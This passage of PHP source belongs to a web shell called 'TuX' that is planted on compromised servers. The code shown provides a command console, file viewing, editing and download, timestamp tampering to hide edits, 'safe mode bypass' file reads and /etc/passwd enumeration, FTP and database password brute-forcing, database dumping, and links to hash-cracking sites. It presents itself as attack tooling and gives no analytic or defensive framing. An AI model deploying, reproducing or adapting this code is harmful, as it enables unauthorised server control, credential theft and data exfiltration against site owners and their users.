    if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='TuX_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	TuXFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
	TuXHeader();
	echo '<h1>String conversions</h1><div class=content>';
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function TuXRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						TuXRecursiveGlob($item);
				} else {
					if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		TuXRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
			<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
			<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
			<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	TuXFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	TuXHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		TuXFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?TuXViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.TuXPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	TuXFooter();
}

function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."
";
			}
			break;
	}
	$temp = ob_get_clean();
	TuXHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
	echo '</div>';
	TuXFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;

	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".TuXEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
	TuXHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".TuXEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	TuXFooter();
}

function actionLogout() {
    session_destroy();
	die('');
}

function actionSelfRemove() {
	
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        TuXHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	TuXFooter();
}

function actionBruteforce() {
	TuXHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	TuXFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE TuX2(file text);COPY TuX2 FROM '".addslashes($str)."';select file from TuX2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table TuX2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $head = true;
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
                            if($v == null)
                                $item[$k] = "NULL";
                            elseif(is_numeric($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql = "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if(@$_POST['p2']=='download') {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	TuXHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
